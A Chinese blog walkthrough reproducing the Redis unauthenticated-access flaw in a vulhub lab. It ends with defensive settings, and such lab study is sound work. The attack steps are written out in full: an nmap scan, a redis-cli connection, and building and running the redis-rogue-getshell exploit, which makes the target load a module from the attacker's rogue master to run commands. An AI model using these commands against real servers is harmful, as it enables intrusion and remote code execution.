• redis未授权访问漏洞【vulhub靶场】复现


    漏洞概述

    Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上;如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。

    影响版本

    Redis 4.x/5.0.5以前版本

    漏洞复现

    docker 靶机:192.168.11.128

    攻击机 kali:192.168.11.131

    1. 开启环境
      在这里插入图片描述
    2. docker-compose ps,可以看到redis启动在6379端口
      在这里插入图片描述
    3. 攻击机安装redis,依次执行以下命令
    wget http://download.redis.io/releases/redis-2.8.12.tar.gz 
    tar -xzf redis-2.8.12.tar.gz
    cd redis-2.8.12
    make
    cd src
    ./redis-cli -h
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    1. nmap扫描docker靶机,发现6379端口开启
    nmap -sV --open -p- 192.168.11.128
    
    • 1

    在这里插入图片描述
    5. 用攻击机redis连接目标机redis

    cd redis-2.8.12/src/
    ./redis-cli -h 192.168.11.128
    
    • 1
    • 2

    在这里插入图片描述
    6. 连接成功,info查看信息

    在这里插入图片描述

    1. 在攻击机下载exp,依次在攻击机中输入以下命令
    git clone https://github.com/vulhub/redis-rogue-getshell.git
    cd redis-rogue-getshell/RedisModulesSDK/exp
    make //在当前目录下生成一个exp.so文件
    
    • 1
    • 2
    • 3
    1. 回到redis-rogue-getshell目录下,利用EXP
    ./redis-master.py -r 192.168.11.128 -p 6379 -L 192.168.11.131 -P 1111 -f RedisModulesSDK/exp/exp.so -c "id"  
    //第一个ip是靶机,第二个ip是攻击机
    
    • 1
    • 2
    1. 利用成功
      在这里插入图片描述
      由于实验环境为vulhub,只能通过该expgetshell,如果想通过写文件、ssh key或定时计划来getshell,会提示没有权限。需要自己搭建靶场环境,参考一下文章:
      参考文章1
      参考文章2

    防御方法

    1. 设置 Redis 访问密码在 redis.conf 中找到 “requirepass” 字段在后面填上强口令,redis 客户端也需要此密码来访问 redis 服务。

    2. 添加IP访问限制:配置 bind 选项限定可以连接 Reids 服务器的 IP并修改默认端口 6379

    3. 重启 Redis 服务。

    4. 清理系统中存在的后门木马。

    5. 禁止使用root权限启动redis服务。

  • 相关阅读:
    音视频SDP协议详解(描述会话的协议)
    Golang开发-new关键字
    [R]第二节 对象介绍与赋值运算
    MySQL(子查询)
    RedisConnectionFactory is required已解决!!!!
    java毕业设计病人追踪治疗信息系统mybatis+源码+调试部署+系统+数据库+lw
    探索 Python/Django 支持分布式多租户数据库,如 Postgres+Citus
    022-final关键字在 java 中的作用
    容器云多集群环境下如何实践 DevOps
    【JavaWeb】GET和POST
  • 原文地址:https://blog.csdn.net/m0_55854679/article/details/126100539